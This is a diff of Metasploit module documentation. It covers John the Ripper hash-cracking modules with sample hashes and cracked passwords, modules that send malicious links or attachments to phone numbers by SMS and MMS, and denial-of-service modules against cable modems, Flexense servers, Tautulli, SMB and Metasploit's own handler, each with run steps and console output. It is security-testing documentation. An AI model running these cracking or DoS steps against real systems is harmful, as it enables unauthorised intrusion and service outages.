creds add user:DEMO hash:'S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;H:DC9894A01797D91D92ECA1DA66242209;T:23D1F8CAC9001F69630ED2DD8DF67DD3BE5C470B5EA97B622F757FE102D8BF14BEDC94A3CC046D10858D885DB656DC0CBF899A79CD8C76B788744844CADE54EEEB4FDEC478FB7C7CBFBBAC57BA3EF22C' jtr:raw-sha1,oracle
|
||||
creds add user:oracle11_epsilon hash:'S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;H:DC9894A01797D91D92ECA1DA66242209;T:23D1F8CAC9001F69630ED2DD8DF67DD3BE5C470B5EA97B622F757FE102D8BF14BEDC94A3CC046D10858D885DB656DC0CBF899A79CD8C76B788744844CADE54EEEB4FDEC478FB7C7CBFBBAC57BA3EF22C' jtr:raw-sha1,oracle
|
||||
creds add user:oracle12c_epsilon hash:'H:DC9894A01797D91D92ECA1DA66242209;T:E3243B98974159CC24FD2C9A8B30BA62E0E83B6CA2FC7C55177C3A7F82602E3BDD17CEB9B9091CF9DAD672B8BE961A9EAC4D344BDBA878EDC5DCB5899F689EBD8DD1BE3F67BFF9813A464382381AB36B' jtr:pbkdf2,oracle12c
|
||||
```
|
||||
|
||||
Crack them:
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/analyze/jtr_oracle_fast
|
||||
msf5 auxiliary(analyze/jtr_oracle_fast) > run
|
||||
|
||||
[*] Wordlist file written out to /tmp/jtrtmp20190211-6421-v6a8wg
|
||||
[*] Hashes Written out to /tmp/hashes_tmp20190211-6421-123367o
|
||||
[*] Cracking oracle hashes in normal wordlist mode...
|
||||
Using default input encoding: UTF-8
|
||||
[*] Cracking oracle hashes in single mode...
|
||||
Using default input encoding: UTF-8
|
||||
[*] Cracked passwords this run:
|
||||
[+] simon:A
|
||||
[+] SYSTEM:THALES
|
||||
[*] Hashes Written out to /tmp/hashes_tmp20190211-6421-1skc10b
|
||||
[*] Cracking dynamic_1506 hashes in normal wordlist mode...
|
||||
Using default input encoding: UTF-8
|
||||
[*] Cracking dynamic_1506 hashes in single mode...
|
||||
Using default input encoding: UTF-8
|
||||
[*] Cracked passwords this run:
|
||||
[*] Hashes Written out to /tmp/hashes_tmp20190211-6421-1qwsyoy
|
||||
[*] Cracking oracle11 hashes in normal wordlist mode...
|
||||
Using default input encoding: UTF-8
|
||||
[*] Cracking oracle11 hashes in single mode...
|
||||
Using default input encoding: UTF-8
|
||||
[*] Cracked passwords this run:
|
||||
[+] DEMO:epsilon
|
||||
[+] oracle11_epsilon:epsilon
|
||||
[*] Hashes Written out to /tmp/hashes_tmp20190211-6421-1f9piv4
|
||||
[*] Cracking oracle12c hashes in normal wordlist mode...
|
||||
Using default input encoding: UTF-8
|
||||
[*] Cracking oracle12c hashes in single mode...
|
||||
Using default input encoding: UTF-8
|
||||
[*] Cracked passwords this run:
|
||||
[+] oracle12c_epsilon:epsilon
|
||||
[*] Auxiliary module execution completed
|
||||
msf5 auxiliary(analyze/jtr_oracle_fast) > creds
|
||||
Credentials
|
||||
===========
|
||||
|
||||
host origin service public private realm private_type JtR Format
|
||||
---- ------ ------- ------ ------- ----- ------------ ----------
|
||||
simon A Password
|
||||
simon 4F8BC1809CB2AF77 Nonreplayable hash des,oracle
|
||||
SYSTEM THALES Password
|
||||
SYSTEM 9EEDFA0AD26C6D52 Nonreplayable hash des,oracle
|
||||
DEMO epsilon Password
|
||||
DEMO S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;H:DC9894A01797D91D92ECA1DA66242209;T:23D1F8CAC9001F69630ED2DD8DF67DD3BE5C470B5EA97B622F757FE102D8BF14BEDC94A3CC046D10858D885DB656DC0CBF899A79CD8C76B788744844CADE54EEEB4FDEC478FB7C7CBFBBAC57BA3EF22C Nonreplayable hash raw-sha1,oracle
|
||||
oracle11_epsilon epsilon Password
|
||||
oracle11_epsilon S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;H:DC9894A01797D91D92ECA1DA66242209;T:23D1F8CAC9001F69630ED2DD8DF67DD3BE5C470B5EA97B622F757FE102D8BF14BEDC94A3CC046D10858D885DB656DC0CBF899A79CD8C76B788744844CADE54EEEB4FDEC478FB7C7CBFBBAC57BA3EF22C Nonreplayable hash raw-sha1,oracle
|
||||
oracle12c_epsilon epsilon Password
|
||||
oracle12c_epsilon H:DC9894A01797D91D92ECA1DA66242209;T:E3243B98974159CC24FD2C9A8B30BA62E0E83B6CA2FC7C55177C3A7F82602E3BDD17CEB9B9091CF9DAD672B8BE961A9EAC4D344BDBA878EDC5DCB5899F689EBD8DD1BE3F67BFF9813A464382381AB36B Nonreplayable hash pbkdf2,oracle12c
|
||||
|
||||
```
|
||||
@@ -1,131 +0,0 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module attempts to use [john the ripper](https://www.openwall.com/john/) to decode PostgreSQL
|
||||
based password hashes, such as:
|
||||
|
||||
* `postgres` based passwords
|
||||
* `raw-md5` based passwords
|
||||
|
||||
Sources of hashes can be found here:
|
||||
[source](https://openwall.info/wiki/john/sample-hashes), [source2](http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats)
|
||||
|
||||
PostgreSQL is a `raw-md5` format with the username appended to the password. This format was
|
||||
added to JtR as `dynamic_1034` [here](https://github.com/magnumripper/JohnTheRipper/commit/e57d740bed5c4f4e40a0ff346bcdde270a8173e6)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Have at least one user with an `postgres`, or `raw-md5` password in the database
|
||||
2. Start msfconsole
|
||||
3. Do: ```use auxiliary/analyze/jtr_postgres_fast```
|
||||
4. Do: ```run```
|
||||
5. You should hopefully crack a password.
|
||||
|
||||
## Options
|
||||
|
||||
|
||||
**CONFIG**
|
||||
|
||||
The path to a John config file (JtR option: `--config`). Default is `metasploit-framework/data/john.conf`
|
||||
|
||||
**CUSTOM_WORDLIST**
|
||||
|
||||
The path to an optional custom wordlist. This file is added to the new wordlist which may include the other
|
||||
`USE` items like `USE_CREDS`, and have `MUTATE` or `KORELOGIC` applied to it.
|
||||
|
||||
**DeleteTempFiles**
|
||||
|
||||
This option will prevent deletion of the wordlist and file containing hashes. This may be useful for
|
||||
running the hashes through john if it wasn't cracked, or for debugging. Default is `false`.
|
||||
|
||||
**ITERATION_TIMEOUT**
|
||||
|
||||
The max-run-time for each iteration of cracking
|
||||
|
||||
**JOHN_PATH**
|
||||
|
||||
The absolute path to the John the Ripper executable. Default behavior is to search `path` for
|
||||
`john` and `john.exe`.
|
||||
|
||||
**KORELOGIC**
|
||||
|
||||
Apply the [KoreLogic rules](http://contest-2010.korelogic.com/rules.html) to Wordlist Mode (slower).
|
||||
Default is `false`.
|
||||
|
||||
**MUTATE**
|
||||
|
||||
Apply common mutations to the Wordlist (SLOW). Mutations are:
|
||||
|
||||
* `'@' => 'a'`
|
||||
* `'0' => 'o'`
|
||||
* `'3' => 'e'`
|
||||
* `'$' => 's'`
|
||||
* `'7' => 't'`
|
||||
* `'1' => 'l'`
|
||||
* `'5' => 's'`
|
||||
|
||||
Default is `false`.
|
||||
|
||||
**POT**
|
||||
|
||||
The path to a John POT file (JtR option: `--pot`) to use instead. The `pot` file is the data file which
|
||||
records cracked password hashes. Kali linux's default location is `/root/.john/john.pot`.
|
||||
Default is `~/.msf4/john.pot`.
|
||||
|
||||
**USE_CREDS**
|
||||
|
||||
Use existing credential data saved in the database. Default is `true`.
|
||||
|
||||
**USE_DB_INFO**
|
||||
|
||||
Use looted database schema info to seed the wordlist. This includes the Database Name, each Table Name,
|
||||
and each Column Name. If the DB is MSSQL, the Instance Name is also used. Default is `true`.
|
||||
|
||||
**USE_DEFAULT_WORDLIST**
|
||||
|
||||
Use the default metasploit wordlist in `metasploit-framework/data/wordlists/password.lst`. Default is
|
||||
`true`.
|
||||
|
||||
**USE_HOSTNAMES**
|
||||
|
||||
Seed the wordlist with hostnames from the workspace. Default is `true`.
|
||||
|
||||
**USE_ROOT_WORDS**
|
||||
|
||||
Use the Common Root Words Wordlist in `metasploit-framework/data/wordlists/common_roots.txt`. Default
|
||||
is true.
|
||||
|
||||
## Scenarios
|
||||
|
||||
Create hashes:
|
||||
|
||||
```
|
||||
creds add user:example postgres:md5be86a79bf2043622d58d5453c47d4860
|
||||
```
|
||||
|
||||
Crack them:
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/analyze/jtr_postgres_fast
|
||||
msf5 auxiliary(analyze/jtr_postgres_fast) > run
|
||||
|
||||
[*] Hashes written out to /tmp/hashes_tmp20190211-6421-1hooxft
|
||||
[*] Wordlist file written out to /tmp/jtrtmp20190211-6421-1hv6clq
|
||||
[*] Cracking dynamic_1034 hashes in normal wordlist mode...
|
||||
Using default input encoding: UTF-8
|
||||
[*] Cracking dynamic_1034 hashes in single mode...
|
||||
Using default input encoding: UTF-8
|
||||
[*] Cracking dynamic_1034 hashes in incremental mode (Digits)...
|
||||
Using default input encoding: UTF-8
|
||||
[*] Cracked passwords this run:
|
||||
[+] example:password
|
||||
[*] Auxiliary module execution completed
|
||||
msf5 auxiliary(analyze/jtr_postgres_fast) > creds
|
||||
Credentials
|
||||
===========
|
||||
|
||||
host origin service public private realm private_type JtR Format
|
||||
---- ------ ------- ------ ------- ----- ------------ ----------
|
||||
example md5be86a79bf2043622d58d5453c47d4860 Postgres md5 raw-md5,postgres
|
||||
example password Password
|
||||
|
||||
```
|
||||
@@ -1,158 +0,0 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module attempts to use [john the ripper](https://www.openwall.com/john/) to decode Windows
|
||||
based password hashes, such as:
|
||||
|
||||
* `LM`, or `LANMAN` based passwords
|
||||
* `NT`, `NTLM`, or `NTLANMAN` based passwords
|
||||
|
||||
Sources of hashes can be found here:
|
||||
[source](https://openwall.info/wiki/john/sample-hashes), [source2](http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Have at least one user with an `nt` or `lm` password in the database
|
||||
2. Start msfconsole
|
||||
3. Do: ```use auxiliary/analyze/jtr_windows_fast```
|
||||
4. Do: ```run```
|
||||
5. You should hopefully crack a password.
|
||||
|
||||
## Options
|
||||
|
||||
|
||||
**CONFIG**
|
||||
|
||||
The path to a John config file (JtR option: `--config`). Default is `metasploit-framework/data/john.conf`
|
||||
|
||||
**CUSTOM_WORDLIST**
|
||||
|
||||
The path to an optional custom wordlist. This file is added to the new wordlist which may include the other
|
||||
`USE` items like `USE_CREDS`, and have `MUTATE` or `KORELOGIC` applied to it.
|
||||
|
||||
**DeleteTempFiles**
|
||||
|
||||
This option will prevent deletion of the wordlist and file containing hashes. This may be useful for
|
||||
running the hashes through john if it wasn't cracked, or for debugging. Default is `false`.
|
||||
|
||||
**ITERATION_TIMEOUT**
|
||||
|
||||
The max-run-time for each iteration of cracking
|
||||
|
||||
**JOHN_PATH**
|
||||
|
||||
The absolute path to the John the Ripper executable. Default behavior is to search `path` for
|
||||
`john` and `john.exe`.
|
||||
|
||||
**KORELOGIC**
|
||||
|
||||
Apply the [KoreLogic rules](http://contest-2010.korelogic.com/rules.html) to Wordlist Mode (slower).
|
||||
Default is `false`.
|
||||
|
||||
**MUTATE**
|
||||
|
||||
Apply common mutations to the Wordlist (SLOW). Mutations are:
|
||||
|
||||
* `'@' => 'a'`
|
||||
* `'0' => 'o'`
|
||||
* `'3' => 'e'`
|
||||
* `'$' => 's'`
|
||||
* `'7' => 't'`
|
||||
* `'1' => 'l'`
|
||||
* `'5' => 's'`
|
||||
|
||||
Default is `false`.
|
||||
|
||||
**POT**
|
||||
|
||||
The path to a John POT file (JtR option: `--pot`) to use instead. The `pot` file is the data file which
|
||||
records cracked password hashes. Kali linux's default location is `/root/.john/john.pot`.
|
||||
Default is `~/.msf4/john.pot`.
|
||||
|
||||
**USE_CREDS**
|
||||
|
||||
Use existing credential data saved in the database. Default is `true`.
|
||||
|
||||
**USE_DB_INFO**
|
||||
|
||||
Use looted database schema info to seed the wordlist. This includes the Database Name, each Table Name,
|
||||
and each Column Name. If the DB is MSSQL, the Instance Name is also used. Default is `true`.
|
||||
|
||||
**USE_DEFAULT_WORDLIST**
|
||||
|
||||
Use the default metasploit wordlist in `metasploit-framework/data/wordlists/password.lst`. Default is
|
||||
`true`.
|
||||
|
||||
**USE_HOSTNAMES**
|
||||
|
||||
Seed the wordlist with hostnames from the workspace. Default is `true`.
|
||||
|
||||
**USE_ROOT_WORDS**
|
||||
|
||||
Use the Common Root Words Wordlist in `metasploit-framework/data/wordlists/common_roots.txt`. Default
|
||||
is true.
|
||||
|
||||
## Scenarios
|
||||
|
||||
Create hashes:
|
||||
|
||||
```
|
||||
creds add user:lm_password ntlm:E52CAC67419A9A224A3B108F3FA6CB6D:8846F7EAEE8FB117AD06BDD830B7586C jtr:lm
|
||||
creds add user:nt_password ntlm:AAD3B435B51404EEAAD3B435B51404EE:8846F7EAEE8FB117AD06BDD830B7586C jtr:nt
|
||||
```
|
||||
|
||||
Crack them:
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/analyze/jtr_windows_fast
|
||||
msf5 auxiliary(analyze/jtr_windows_fast) > run
|
||||
|
||||
[*] Hashes Written out to /tmp/hashes_tmp20190211-6421-koittz
|
||||
[*] Wordlist file written out to /tmp/jtrtmp20190211-6421-1v82lkm
|
||||
[*] Cracking lm hashes in normal wordlist mode...
|
||||
Using default input encoding: UTF-8
|
||||
Using default target encoding: CP850
|
||||
Warning: poor OpenMP scalability for this hash type, consider --fork=8
|
||||
Will run 8 OpenMP threads
|
||||
Press 'q' or Ctrl-C to abort, almost any other key for status
|
||||
0g 0:00:00:00 DONE (2019-02-11 19:34) 0g/s 1177Kp/s 1177Kc/s 1177KC/s PLANO..VAGRANT
|
||||
Session completed
|
||||
[*] Cracking lm hashes in single mode...
|
||||
Using default input encoding: UTF-8
|
||||
Using default target encoding: CP850
|
||||
Warning: poor OpenMP scalability for this hash type, consider --fork=8
|
||||
Will run 8 OpenMP threads
|
||||
Press 'q' or Ctrl-C to abort, almost any other key for status
|
||||
0g 0:00:00:02 DONE (2019-02-11 19:34) 0g/s 4634Kp/s 4634Kc/s 4634KC/s WAC1907..E1900
|
||||
Session completed
|
||||
[*] Cracking lm hashes in incremental mode (Digits)...
|
||||
Using default input encoding: UTF-8
|
||||
Using default target encoding: CP850
|
||||
Warning: poor OpenMP scalability for this hash type, consider --fork=8
|
||||
Will run 8 OpenMP threads
|
||||
Press 'q' or Ctrl-C to abort, almost any other key for status
|
||||
0g 0:00:00:00 DONE (2019-02-11 19:34) 0g/s 41152Kp/s 41152Kc/s 41152KC/s 0766269..0769743
|
||||
Session completed
|
||||
[*] Cracked Passwords this run:
|
||||
[+] lm_password:password
|
||||
[*] Cracking nt hashes in normal wordlist mode...
|
||||
Using default input encoding: UTF-8
|
||||
[*] Cracking nt hashes in single mode...
|
||||
Using default input encoding: UTF-8
|
||||
[*] Cracking nt hashes in incremental mode (Digits)...
|
||||
Using default input encoding: UTF-8
|
||||
[*] Cracked Passwords this run:
|
||||
[+] lm_password:password
|
||||
[+] nt_password:password
|
||||
[*] Auxiliary module execution completed
|
||||
msf5 auxiliary(analyze/jtr_windows_fast) > creds
|
||||
Credentials
|
||||
===========
|
||||
|
||||
host origin service public private realm private_type JtR Format
|
||||
---- ------ ------- ------ ------- ----- ------------ ----------
|
||||
lm_password password Password
|
||||
lm_password e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c NTLM hash nt,lm
|
||||
nt_password password Password
|
||||
nt_password aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c NTLM hash nt,lm
|
||||
|
||||
```
|
||||
@@ -1,10 +1,12 @@
|
||||
## Vulnerable Application
|
||||
|
||||
The ```auxiliary/client/mms/send_mms``` module allows you to send a malicious attachment to a
|
||||
collection of phone numbers of the same carrier.
|
||||
|
||||
In order to use this module, you must set up your own SMTP server to deliver messages. Popular
|
||||
mail services such as Gmail, Yahoo, Live should work fine.
|
||||
|
||||
## Module Options
|
||||
## Options
|
||||
|
||||
**CELLNUMBERS**
|
||||
|
||||
@@ -74,7 +76,7 @@ in order to receive the text, such as AT&T.
|
||||
|
||||
The MMS subject. Some carriers require this in order to receive the text, such as AT&T.
|
||||
|
||||
## Supported Carrier Gateways
|
||||
### Supported Carrier Gateways
|
||||
|
||||
The module supports the following carriers:
|
||||
|
||||
@@ -84,14 +86,14 @@ The module supports the following carriers:
|
||||
* Verizon
|
||||
* Google Fi
|
||||
|
||||
## Finding the Carrier for a Phone Number
|
||||
### Finding the Carrier for a Phone Number
|
||||
|
||||
Since you need to manually choose the carrier gateway for the phone numbers, you need to figure out
|
||||
how to identify the carrier of a phone number. There are many services that can do this, such as:
|
||||
|
||||
http://freecarrierlookup.com/
|
||||
|
||||
## Gmail SMTP Example
|
||||
### Gmail SMTP Example
|
||||
|
||||
Gmail is a popular mail server, so we will use this as a demonstration.
|
||||
|
||||
@@ -111,7 +113,7 @@ After creating the application password, configure auxiliary/client/mms/send_mms
|
||||
|
||||
And you should be ready to go.
|
||||
|
||||
## Yahoo SMTP Example
|
||||
### Yahoo SMTP Example
|
||||
|
||||
Yahoo is also a fairly popular mail server (although much slower to deliver comparing to Gmail),
|
||||
so we will demonstrate as well.
|
||||
@@ -136,7 +138,7 @@ After configuring your Yahoo account, configure auxiliary/client/mms/send_mms th
|
||||
|
||||
And you're good to go.
|
||||
|
||||
## Demonstration
|
||||
## Scenarios
|
||||
|
||||
After setting up your mail server and the module, your output should look similar to this:
|
||||
|
||||
|
||||
@@ -1,10 +1,12 @@
|
||||
## Vulnerable Application
|
||||
|
||||
The ```auxiliary/client/sms/send_text``` module allows you to send a malicious text/link to a collection
|
||||
of phone numbers of the same carrier.
|
||||
|
||||
In order to use this module, you must set up your own SMTP server to deliver messages. Popular
|
||||
mail services such as Gmail, Yahoo, Live should work fine.
|
||||
|
||||
## Module Options
|
||||
## Options
|
||||
|
||||
**CELLNUMBERS**
|
||||
|
||||
@@ -57,7 +59,7 @@ The password you use to log into the SMTP server.
|
||||
|
||||
The FROM field of SMTP. In some cases, it may be used as ```SMTPUSER```.
|
||||
|
||||
## Supported Carrier Gateways
|
||||
### Supported Carrier Gateways
|
||||
|
||||
The module supports the following carriers:
|
||||
|
||||
@@ -73,7 +75,7 @@ The module supports the following carriers:
|
||||
**Note:** During development, we could not find a valid gateway for Sprint, therefore it is currently
|
||||
not supported.
|
||||
|
||||
## Finding the Carrier for a Phone Number
|
||||
### Finding the Carrier for a Phone Number
|
||||
|
||||
Since you need to manually choose the carrier gateway for the phone numbers, you need to figure out
|
||||
how to identify the carrier of a phone number. There are many services that can do this, such as:
|
||||
@@ -82,7 +84,7 @@ http://freecarrierlookup.com/
|
||||
|
||||
**Note:** If the phone is using Google Fi, then it may appear as a different carrier.
|
||||
|
||||
## Gmail SMTP Example
|
||||
### Gmail SMTP Example
|
||||
|
||||
Gmail is a popular mail server, so we will use this as a demonstration.
|
||||
|
||||
@@ -100,7 +102,7 @@ After creating the application password, configure auxiliary/client/sms/send_tex
|
||||
|
||||
And you should be ready to go.
|
||||
|
||||
## Yahoo SMTP Example
|
||||
### Yahoo SMTP Example
|
||||
|
||||
Yahoo is also a fairly popular mail server (although much slower to deliver comparing to Gmail),
|
||||
so we will demonstrate as well.
|
||||
@@ -123,7 +125,7 @@ After configuring your Yahoo account, configure auxiliary/client/sms/send_text t
|
||||
|
||||
And you're good to go.
|
||||
|
||||
## Demonstration
|
||||
### Scenarios
|
||||
|
||||
After setting up your mail server and the module, your output should look similar to this:
|
||||
|
||||
|
||||
@@ -0,0 +1,44 @@
|
||||
## Vulnerable Application
|
||||
|
||||
Sagecom F@st-3890 Cable Modems
|
||||
|
||||
Please note that successful completion of this module will most likely knock out upstream network services, including any remote sessions connected through the cable modem.
|
||||
|
||||
Please refer to [https://cablehaunt.com/](https://cablehaunt.com/) for more information on this vulnerability.
|
||||
|
||||
## Options
|
||||
|
||||
**WS_USERNAME**
|
||||
|
||||
This is the basic auth username for the spectrum analysis web service. This is typicall default credentials such as `admin:password` but may also be something along the lines of `spectrum:spectrum`. This will vary from manufacturer to manufacturer and ISP to ISP.
|
||||
|
||||
**WS_PASSWORD**
|
||||
|
||||
This is the basic auth password for the spectrum analysis web service.
|
||||
|
||||
**TIMEOUT**
|
||||
|
||||
This is the timeout in seconds that the module should wait before making a conclusion on the success of the payload delivery. Typically, the device crashes within about 5 second of the payload being delivered. The default value of `15` should be seen as the lower bound for `TIMEOUT` values.
|
||||
|
||||
**RHOSTS**
|
||||
|
||||
Typically the only address which should be used for this value is `192.168.100.1`. It can be different, but not in a well-secured configuration.
|
||||
|
||||
**RPORT**
|
||||
|
||||
On some devices the Spectrum Analysis web service runs on port `8080`, though Lyrebirds (the original discoverer and PoC author) notes that sometimes it can run on port `6080`.
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf5 auxiliary(dos/http/cable_haunt_websocket_dos) > run
|
||||
[*] Running module against 192.168.100.1
|
||||
|
||||
[*] Attempting Connection to 192.168.100.1
|
||||
[*] Opened connection
|
||||
[*] Sending payload
|
||||
[*] Checking Modem Status
|
||||
[*] Cable Modem unreachable
|
||||
[+] Exploit delivered and cable modem unreachable.
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -1,14 +1,14 @@
|
||||
## Description
|
||||
This module triggers a Denial of Service vulnerability in the Flexense Enterprise HTTP server. It is possible to trigger
|
||||
a write access memory vialation via rapidly sending HTTP requests with large HTTP header values.
|
||||
## Vulnerable Application
|
||||
|
||||
### Description
|
||||
|
||||
This module triggers a Denial of Service vulnerability in the Flexense Enterprise HTTP server. It is possible to trigger
|
||||
a write access memory vialation via rapidly sending HTTP requests with large HTTP header values.
|
||||
|
||||
## Vulnerable Application
|
||||
According To publicly exploit Disclosure of Flexense HTTP Server v10.6.24
|
||||
Following list of softwares are vulnerable to Denial Of Service.
|
||||
read more : http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-8065
|
||||
|
||||
|
||||
DiskBoss Enterprise <= v9.0.18
|
||||
Sync Breeze Enterprise <= v10.6.24
|
||||
Disk Pulse Enterprise <= v10.6.24
|
||||
@@ -16,8 +16,7 @@ Disk Savvy Enterprise <= v10.6.24
|
||||
Dup Scout Enterprise <= v10.6.24
|
||||
VX Search Enterprise <= v10.6.24
|
||||
|
||||
|
||||
**Vulnerable Application Link**
|
||||
**Vulnerable Application Link**
|
||||
http://www.diskboss.com/downloads.html
|
||||
http://www.syncbreeze.com/downloads.html
|
||||
http://www.diskpulse.com/downloads.html
|
||||
@@ -25,7 +24,8 @@ http://www.disksavvy.com/downloads.html
|
||||
http://www.dupscout.com/downloads.html
|
||||
|
||||
|
||||
## Vulnerable Application Installation Setup.
|
||||
### Installation Setup.
|
||||
|
||||
All Flexense applications that are listed above can be installed by following these steps.
|
||||
|
||||
Download Application : ```https://github.com/EgeBalci/Sync_Breeze_Enterprise_10_6_24_-DOS/raw/master/syncbreezeent_setup_v10.6.24.exe```
|
||||
@@ -51,7 +51,9 @@ Check the box saying: ```Enable web server on port:...```
|
||||
8. Web server will crash after 200-1000 request depending on the OS version and system memory.
|
||||
|
||||
## Scenarios
|
||||
**TESTED AGAINST WINDOWS 7/10**
|
||||
|
||||
### WINDOWS 7/10
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/dos/http/flexense_http_server_dos
|
||||
msf5 auxiliary(dos/http/flexense_http_server_dos) > set rhost 192.168.1.27
|
||||
|
||||
@@ -15,7 +15,7 @@ Vulnerable app versions include:
|
||||
|
||||
Related security bulletin from IBM: http://www-01.ibm.com/support/docview.wss?uid=swg21999385
|
||||
|
||||
## Verification
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
1. `use auxiliary/dos/http/ibm_lotus_notes.rb`
|
||||
|
||||
@@ -15,7 +15,7 @@ IBM Notes 8.5 release
|
||||
|
||||
Related security bulletin from IBM: http://www-01.ibm.com/support/docview.wss?uid=swg21999384
|
||||
|
||||
## Verification
|
||||
## Verification Steps
|
||||
|
||||
Start msfconsole
|
||||
|
||||
|
||||
@@ -6,7 +6,7 @@ Versions before 0.3.19 are vulnerable.
|
||||
Any application that uses a vulnerable version of this module and passes untrusted input
|
||||
to the module will be vulnerable.
|
||||
|
||||
## How to Install
|
||||
### How to Install
|
||||
|
||||
To install a vulnerable version of `marked`, run:
|
||||
```
|
||||
@@ -15,8 +15,6 @@ npm i marked@0.3.19
|
||||
|
||||
## Verification Steps
|
||||
|
||||
Example steps in this format (is also in the PR):
|
||||
|
||||
1. Create a new directory for test application.
|
||||
2. Copy below example server into test application directory as `server.js`.
|
||||
3. Run `npm i express` to install express in the test application directory.
|
||||
|
||||
@@ -0,0 +1,36 @@
|
||||
## Vulnerable Application
|
||||
|
||||
Metasploit Framework before version 5.0.28
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install Metasploit 5.0.27 or earlier (or checkout before commit 5621d200ccf62e4a8f0dad80c1c74f4e0e52d86b)
|
||||
2. Start msfconsole with the target Metasploit instance and start any reverse_http/reverse_https listener
|
||||
3. Start this module and set RHOSTS and RPORT to the target listener address and port.
|
||||
4. Run the modulest <rhost>```
|
||||
7. `msfconsole` should use 99%+ CPU for a varying amount of time depending on the DOSTYPE option. You may need to kill the process manually.
|
||||
|
||||
## Options
|
||||
|
||||
**DOSTYPE**
|
||||
|
||||
GENTLE: *Current sessions will continue to work, but not future ones*
|
||||
A lack of input sanitation permits an attacker to submit a request that will be added to the resources and will be used as regex rule it is possible then to make a valid regex rule that captures all the new handler requests. The sessions that were established previously will continue to work.
|
||||
|
||||
SOFT: *No past or future sessions will work*
|
||||
A lack of input sanitation and lack of exception handling causes Metasploit to behave abnormally when looking an appropriate resource for the request, by submitting an invalid regex as a resource. This means that no request, current or future will get served an answer.
|
||||
|
||||
HARD: *ReDOS or Catastrophic Regex Backtracking*
|
||||
A lack of input sanitization on paths added as resources allows an attacker to execute a catastrophic regex backtracking operation causing a Denial of Service by CPU consumption.
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf5 auxiliary(dos/http/metasploit_httphandler_dos) > run
|
||||
[*] Running module against 127.0.0.1
|
||||
|
||||
[*] 127.0.0.1:8080 - Sending DoS packet...
|
||||
^C[-] Stopping running againest current target...
|
||||
[*] Control-C again to force quit all targets.
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -0,0 +1,16 @@
|
||||
## Vulnerable Application
|
||||
Tautulli versions 2.1.9 and prior are vulnerable to denial of service via the `/shutdown` URL in applications that do
|
||||
not have a user login area enabled.
|
||||
|
||||
## Scenario
|
||||
|
||||

|
||||
|
||||
## Verification Steps :
|
||||
|
||||
List the steps needed to make sure this thing works
|
||||
|
||||
1. Start ```msfconsole```
|
||||
2. ```use auxiliary/dos/http/tautulli_shutdown_exec```
|
||||
3. ```set RHOSTS XXX.XXX.XXX.XXX```
|
||||
4. ```run```
|
||||
@@ -6,7 +6,7 @@ Any application that uses a vulnerable version of this module and calls the `get
|
||||
or `getResult` functions will be vulnerable to this module. An example server is provided
|
||||
below.
|
||||
|
||||
## How to Install
|
||||
### How to Install
|
||||
|
||||
To install a vulnerable version of `ua-parser-js`, run:
|
||||
```
|
||||
@@ -15,8 +15,6 @@ npm i ua-parser-js@0.7.15
|
||||
|
||||
## Verification Steps
|
||||
|
||||
Example steps in this format (is also in the PR):
|
||||
|
||||
1. Create a new directory for test application.
|
||||
2. Copy below example server into test application directory as `server.js`.
|
||||
3. Run `npm i express` to install express in the test application directory.
|
||||
|
||||
@@ -55,7 +55,7 @@ at ../src/ephy-main.c line 432
|
||||
|
||||
```
|
||||
|
||||
## Verification
|
||||
## Verification Steps
|
||||
|
||||
Start msfconsole
|
||||
use auxiliary/dos/http/webkitplus
|
||||
|
||||
@@ -10,18 +10,14 @@
|
||||
|
||||
## Verification Steps
|
||||
|
||||
Example steps in this format (is also in the PR):
|
||||
|
||||
1. Start msfconsole
|
||||
1. Do: `use auxiliary/dos/smb/smb_loris`
|
||||
1. Do: `set rhost [IP]`
|
||||
1. Do: `run`
|
||||
1. Target should allocate increasing amounts of memory.
|
||||
2. Do: `use auxiliary/dos/smb/smb_loris`
|
||||
3. Do: `set rhost [IP]`
|
||||
4. Do: `run`
|
||||
5. Target should allocate increasing amounts of memory.
|
||||
|
||||
## Scenarios
|
||||
|
||||
###
|
||||
|
||||
```
|
||||
msf auxiliary(smb_loris) > use auxiliary/dos/smb/smb_loris
|
||||
msf auxiliary(smb_loris) > set RHOST 192.168.172.138
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
## Description
|
||||
## Vulnerable Application
|
||||
|
||||
This module exploits three vulnerabilities in Advantech WebAccess.
|
||||
|
||||
@@ -12,9 +12,6 @@ The final vulnerability exploited is that the HTML Form on the user edit page co
|
||||
plain text password in the masked password input box. Typically the system should replace the
|
||||
actual password with a masked character such as "*".
|
||||
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
Version 8.1 was tested during development:
|
||||
|
||||
http://advcloudfiles.advantech.com/web/Download/webaccess/8.1/AdvantechWebAccessUSANode8.1_20151230.exe
|
||||
@@ -41,7 +38,6 @@ The username to use to log into Advantech WebAccess. By default, there is a buil
|
||||
The password to use to log into AdvanTech WebAccess. By default, the built-in account ```admin```
|
||||
does not have a password, which could be something you can use.
|
||||
|
||||
|
||||
## Demo
|
||||
## Scenarios
|
||||
|
||||

|
||||
|
||||
@@ -4,7 +4,7 @@ This module retrieves a browser's network interface IP addresses using WebRTC. H
|
||||
|
||||
